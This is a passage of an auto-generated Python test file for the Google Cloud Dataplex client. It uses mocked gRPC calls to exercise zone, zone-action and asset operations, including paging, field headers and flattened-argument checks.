type(client.transport.list_zones), "__call__", new_callable=mock.AsyncMock
) as call:
# Set the response to a series of pages.
call.side_effect = (
service.ListZonesResponse(
zones=[
resources.Zone(),
resources.Zone(),
resources.Zone(),
],
next_page_token="abc",
),
service.ListZonesResponse(
zones=[],
next_page_token="def",
),
service.ListZonesResponse(
zones=[
resources.Zone(),
],
next_page_token="ghi",
),
service.ListZonesResponse(
zones=[
resources.Zone(),
resources.Zone(),
],
),
RuntimeError,
)
pages = []
async for page_ in (
await client.list_zones(request={})
).pages: # pragma: no branch
pages.append(page_)
for page_, token in zip(pages, ["abc", "def", "ghi", ""]):
assert page_.raw_page.next_page_token == token
@pytest.mark.parametrize(
"request_type",
[
service.GetZoneRequest,
dict,
],
)
def test_get_zone(request_type, transport: str = "grpc"):
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.get_zone), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = resources.Zone(
name="name_value",
display_name="display_name_value",
uid="uid_value",
description="description_value",
state=resources.State.ACTIVE,
type_=resources.Zone.Type.RAW,
)
response = client.get_zone(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == service.GetZoneRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, resources.Zone)
assert response.name == "name_value"
assert response.display_name == "display_name_value"
assert response.uid == "uid_value"
assert response.description == "description_value"
assert response.state == resources.State.ACTIVE
assert response.type_ == resources.Zone.Type.RAW
def test_get_zone_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.get_zone), "__call__") as call:
client.get_zone()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == service.GetZoneRequest()
@pytest.mark.asyncio
async def test_get_zone_async(
transport: str = "grpc_asyncio", request_type=service.GetZoneRequest
):
client = DataplexServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.get_zone), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
resources.Zone(
name="name_value",
display_name="display_name_value",
uid="uid_value",
description="description_value",
state=resources.State.ACTIVE,
type_=resources.Zone.Type.RAW,
)
)
response = await client.get_zone(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == service.GetZoneRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, resources.Zone)
assert response.name == "name_value"
assert response.display_name == "display_name_value"
assert response.uid == "uid_value"
assert response.description == "description_value"
assert response.state == resources.State.ACTIVE
assert response.type_ == resources.Zone.Type.RAW
@pytest.mark.asyncio
async def test_get_zone_async_from_dict():
await test_get_zone_async(request_type=dict)
def test_get_zone_field_headers():
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = service.GetZoneRequest()
request.name = "name_value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.get_zone), "__call__") as call:
call.return_value = resources.Zone()
client.get_zone(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert (
"x-goog-request-params",
"name=name_value",
) in kw["metadata"]
@pytest.mark.asyncio
async def test_get_zone_field_headers_async():
client = DataplexServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = service.GetZoneRequest()
request.name = "name_value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.get_zone), "__call__") as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(resources.Zone())
await client.get_zone(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert (
"x-goog-request-params",
"name=name_value",
) in kw["metadata"]
def test_get_zone_flattened():
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.get_zone), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = resources.Zone()
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.get_zone(
name="name_value",
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
arg = args[0].name
mock_val = "name_value"
assert arg == mock_val
def test_get_zone_flattened_error():
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.get_zone(
service.GetZoneRequest(),
name="name_value",
)
@pytest.mark.asyncio
async def test_get_zone_flattened_async():
client = DataplexServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.get_zone), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = resources.Zone()
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(resources.Zone())
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.get_zone(
name="name_value",
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
arg = args[0].name
mock_val = "name_value"
assert arg == mock_val
@pytest.mark.asyncio
async def test_get_zone_flattened_error_async():
client = DataplexServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.get_zone(
service.GetZoneRequest(),
name="name_value",
)
@pytest.mark.parametrize(
"request_type",
[
service.ListZoneActionsRequest,
dict,
],
)
def test_list_zone_actions(request_type, transport: str = "grpc"):
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_zone_actions), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = service.ListActionsResponse(
next_page_token="next_page_token_value",
)
response = client.list_zone_actions(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == service.ListZoneActionsRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, pagers.ListZoneActionsPager)
assert response.next_page_token == "next_page_token_value"
def test_list_zone_actions_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_zone_actions), "__call__"
) as call:
client.list_zone_actions()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == service.ListZoneActionsRequest()
@pytest.mark.asyncio
async def test_list_zone_actions_async(
transport: str = "grpc_asyncio", request_type=service.ListZoneActionsRequest
):
client = DataplexServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_zone_actions), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
service.ListActionsResponse(
next_page_token="next_page_token_value",
)
)
response = await client.list_zone_actions(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == service.ListZoneActionsRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, pagers.ListZoneActionsAsyncPager)
assert response.next_page_token == "next_page_token_value"
@pytest.mark.asyncio
async def test_list_zone_actions_async_from_dict():
await test_list_zone_actions_async(request_type=dict)
def test_list_zone_actions_field_headers():
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = service.ListZoneActionsRequest()
request.parent = "parent_value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_zone_actions), "__call__"
) as call:
call.return_value = service.ListActionsResponse()
client.list_zone_actions(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert (
"x-goog-request-params",
"parent=parent_value",
) in kw["metadata"]
@pytest.mark.asyncio
async def test_list_zone_actions_field_headers_async():
client = DataplexServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = service.ListZoneActionsRequest()
request.parent = "parent_value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_zone_actions), "__call__"
) as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
service.ListActionsResponse()
)
await client.list_zone_actions(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert (
"x-goog-request-params",
"parent=parent_value",
) in kw["metadata"]
def test_list_zone_actions_flattened():
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_zone_actions), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = service.ListActionsResponse()
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.list_zone_actions(
parent="parent_value",
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
arg = args[0].parent
mock_val = "parent_value"
assert arg == mock_val
def test_list_zone_actions_flattened_error():
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.list_zone_actions(
service.ListZoneActionsRequest(),
parent="parent_value",
)
@pytest.mark.asyncio
async def test_list_zone_actions_flattened_async():
client = DataplexServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_zone_actions), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = service.ListActionsResponse()
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
service.ListActionsResponse()
)
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.list_zone_actions(
parent="parent_value",
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
arg = args[0].parent
mock_val = "parent_value"
assert arg == mock_val
@pytest.mark.asyncio
async def test_list_zone_actions_flattened_error_async():
client = DataplexServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.list_zone_actions(
service.ListZoneActionsRequest(),
parent="parent_value",
)
def test_list_zone_actions_pager(transport_name: str = "grpc"):
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials,
transport=transport_name,
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_zone_actions), "__call__"
) as call:
# Set the response to a series of pages.
call.side_effect = (
service.ListActionsResponse(
actions=[
resources.Action(),
resources.Action(),
resources.Action(),
],
next_page_token="abc",
),
service.ListActionsResponse(
actions=[],
next_page_token="def",
),
service.ListActionsResponse(
actions=[
resources.Action(),
],
next_page_token="ghi",
),
service.ListActionsResponse(
actions=[
resources.Action(),
resources.Action(),
],
),
RuntimeError,
)
metadata = ()
metadata = tuple(metadata) + (
gapic_v1.routing_header.to_grpc_metadata((("parent", ""),)),
)
pager = client.list_zone_actions(request={})
assert pager._metadata == metadata
results = list(pager)
assert len(results) == 6
assert all(isinstance(i, resources.Action) for i in results)
def test_list_zone_actions_pages(transport_name: str = "grpc"):
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials,
transport=transport_name,
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_zone_actions), "__call__"
) as call:
# Set the response to a series of pages.
call.side_effect = (
service.ListActionsResponse(
actions=[
resources.Action(),
resources.Action(),
resources.Action(),
],
next_page_token="abc",
),
service.ListActionsResponse(
actions=[],
next_page_token="def",
),
service.ListActionsResponse(
actions=[
resources.Action(),
],
next_page_token="ghi",
),
service.ListActionsResponse(
actions=[
resources.Action(),
resources.Action(),
],
),
RuntimeError,
)
pages = list(client.list_zone_actions(request={}).pages)
for page_, token in zip(pages, ["abc", "def", "ghi", ""]):
assert page_.raw_page.next_page_token == token
@pytest.mark.asyncio
async def test_list_zone_actions_async_pager():
client = DataplexServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials,
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_zone_actions),
"__call__",
new_callable=mock.AsyncMock,
) as call:
# Set the response to a series of pages.
call.side_effect = (
service.ListActionsResponse(
actions=[
resources.Action(),
resources.Action(),
resources.Action(),
],
next_page_token="abc",
),
service.ListActionsResponse(
actions=[],
next_page_token="def",
),
service.ListActionsResponse(
actions=[
resources.Action(),
],
next_page_token="ghi",
),
service.ListActionsResponse(
actions=[
resources.Action(),
resources.Action(),
],
),
RuntimeError,
)
async_pager = await client.list_zone_actions(
request={},
)
assert async_pager.next_page_token == "abc"
responses = []
async for response in async_pager: # pragma: no branch
responses.append(response)
assert len(responses) == 6
assert all(isinstance(i, resources.Action) for i in responses)
@pytest.mark.asyncio
async def test_list_zone_actions_async_pages():
client = DataplexServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials,
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_zone_actions),
"__call__",
new_callable=mock.AsyncMock,
) as call:
# Set the response to a series of pages.
call.side_effect = (
service.ListActionsResponse(
actions=[
resources.Action(),
resources.Action(),
resources.Action(),
],
next_page_token="abc",
),
service.ListActionsResponse(
actions=[],
next_page_token="def",
),
service.ListActionsResponse(
actions=[
resources.Action(),
],
next_page_token="ghi",
),
service.ListActionsResponse(
actions=[
resources.Action(),
resources.Action(),
],
),
RuntimeError,
)
pages = []
async for page_ in (
await client.list_zone_actions(request={})
).pages: # pragma: no branch
pages.append(page_)
for page_, token in zip(pages, ["abc", "def", "ghi", ""]):
assert page_.raw_page.next_page_token == token
@pytest.mark.parametrize(
"request_type",
[
service.CreateAssetRequest,
dict,
],
)
def test_create_asset(request_type, transport: str = "grpc"):
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.create_asset), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = operations_pb2.Operation(name="operations/spam")
response = client.create_asset(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == service.CreateAssetRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, future.Future)
def test_create_asset_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.create_asset), "__call__") as call:
client.create_asset()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == service.CreateAssetRequest()
@pytest.mark.asyncio
async def test_create_asset_async(
transport: str = "grpc_asyncio", request_type=service.CreateAssetRequest
):
client = DataplexServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.create_asset), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
operations_pb2.Operation(name="operations/spam")
)
response = await client.create_asset(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == service.CreateAssetRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, future.Future)
@pytest.mark.asyncio
async def test_create_asset_async_from_dict():
await test_create_asset_async(request_type=dict)
def test_create_asset_field_headers():
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = service.CreateAssetRequest()
request.parent = "parent_value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.create_asset), "__call__") as call:
call.return_value = operations_pb2.Operation(name="operations/op")
client.create_asset(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert (
"x-goog-request-params",
"parent=parent_value",
) in kw["metadata"]
@pytest.mark.asyncio
async def test_create_asset_field_headers_async():
client = DataplexServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = service.CreateAssetRequest()
request.parent = "parent_value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.create_asset), "__call__") as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
operations_pb2.Operation(name="operations/op")
)
await client.create_asset(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert (
"x-goog-request-params",
"parent=parent_value",
) in kw["metadata"]
def test_create_asset_flattened():
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.create_asset), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = operations_pb2.Operation(name="operations/op")
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.create_asset(
parent="parent_value",
asset=resources.Asset(name="name_value"),
asset_id="asset_id_value",
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
arg = args[0].parent
mock_val = "parent_value"
assert arg == mock_val
arg = args[0].asset
mock_val = resources.Asset(name="name_value")
assert arg == mock_val
arg = args[0].asset_id
mock_val = "asset_id_value"
assert arg == mock_val
def test_create_asset_flattened_error():
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.create_asset(
service.CreateAssetRequest(),
parent="parent_value",
asset=resources.Asset(name="name_value"),
asset_id="asset_id_value",
)
@pytest.mark.asyncio
async def test_create_asset_flattened_async():
client = DataplexServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.create_asset), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = operations_pb2.Operation(name="operations/op")
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
operations_pb2.Operation(name="operations/spam")
)
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.create_asset(
parent="parent_value",
asset=resources.Asset(name="name_value"),
asset_id="asset_id_value",
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
arg = args[0].parent
mock_val = "parent_value"
assert arg == mock_val
arg = args[0].asset
mock_val = resources.Asset(name="name_value")
assert arg == mock_val
arg = args[0].asset_id
mock_val = "asset_id_value"
assert arg == mock_val
@pytest.mark.asyncio
async def test_create_asset_flattened_error_async():
client = DataplexServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.create_asset(
service.CreateAssetRequest(),
parent="parent_value",
asset=resources.Asset(name="name_value"),
asset_id="asset_id_value",
)
@pytest.mark.parametrize(
"request_type",
[
service.UpdateAssetRequest,
dict,
],
)
def test_update_asset(request_type, transport: str = "grpc"):
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.update_asset), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = operations_pb2.Operation(name="operations/spam")
response = client.update_asset(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == service.UpdateAssetRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, future.Future)
def test_update_asset_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.update_asset), "__call__") as call:
client.update_asset()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == service.UpdateAssetRequest()
@pytest.mark.asyncio
async def test_update_asset_async(
transport: str = "grpc_asyncio", request_type=service.UpdateAssetRequest
):
client = DataplexServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.update_asset), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
operations_pb2.Operation(name="operations/spam")
)
response = await client.update_asset(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == service.UpdateAssetRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, future.Future)
@pytest.mark.asyncio
async def test_update_asset_async_from_dict():
await test_update_asset_async(request_type=dict)
def test_update_asset_field_headers():
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = service.UpdateAssetRequest()
request.asset.name = "name_value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.update_asset), "__call__") as call:
call.return_value = operations_pb2.Operation(name="operations/op")
client.update_asset(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert (
"x-goog-request-params",
"asset.name=name_value",
) in kw["metadata"]
@pytest.mark.asyncio
async def test_update_asset_field_headers_async():
client = DataplexServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = service.UpdateAssetRequest()
request.asset.name = "name_value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.update_asset), "__call__") as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
operations_pb2.Operation(name="operations/op")
)
await client.update_asset(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert (
"x-goog-request-params",
"asset.name=name_value",
) in kw["metadata"]
def test_update_asset_flattened():
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.update_asset), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = operations_pb2.Operation(name="operations/op")
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.update_asset(
asset=resources.Asset(name="name_value"),
update_mask=field_mask_pb2.FieldMask(paths=["paths_value"]),
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
arg = args[0].asset
mock_val = resources.Asset(name="name_value")
assert arg == mock_val
arg = args[0].update_mask
mock_val = field_mask_pb2.FieldMask(paths=["paths_value"])
assert arg == mock_val
def test_update_asset_flattened_error():
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.update_asset(
service.UpdateAssetRequest(),
asset=resources.Asset(name="name_value"),
update_mask=field_mask_pb2.FieldMask(paths=["paths_value"]),
)
@pytest.mark.asyncio
async def test_update_asset_flattened_async():
client = DataplexServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.update_asset), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = operations_pb2.Operation(name="operations/op")
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
operations_pb2.Operation(name="operations/spam")
)
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.update_asset(
asset=resources.Asset(name="name_value"),
update_mask=field_mask_pb2.FieldMask(paths=["paths_value"]),
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
arg = args[0].asset
mock_val = resources.Asset(name="name_value")
assert arg == mock_val
arg = args[0].update_mask
mock_val = field_mask_pb2.FieldMask(paths=["paths_value"])
assert arg == mock_val
@pytest.mark.asyncio
async def test_update_asset_flattened_error_async():
client = DataplexServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.update_asset(
service.UpdateAssetRequest(),
asset=resources.Asset(name="name_value"),
update_mask=field_mask_pb2.FieldMask(paths=["paths_value"]),
)
@pytest.mark.parametrize(
"request_type",
[
service.DeleteAssetRequest,
dict,
],
)
def test_delete_asset(request_type, transport: str = "grpc"):
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.delete_asset), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = operations_pb2.Operation(name="operations/spam")
response = client.delete_asset(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == service.DeleteAssetRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, future.Future)
def test_delete_asset_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.delete_asset), "__call__") as call:
client.delete_asset()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == service.DeleteAssetRequest()
@pytest.mark.asyncio
async def test_delete_asset_async(
transport: str = "grpc_asyncio", request_type=service.DeleteAssetRequest
):
client = DataplexServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.delete_asset), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
operations_pb2.Operation(name="operations/spam")
)
response = await client.delete_asset(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == service.DeleteAssetRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, future.Future)
@pytest.mark.asyncio
async def test_delete_asset_async_from_dict():
await test_delete_asset_async(request_type=dict)
def test_delete_asset_field_headers():
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = service.DeleteAssetRequest()
request.name = "name_value"
# Mock the actual call within the gRPC stub, and fake the request.
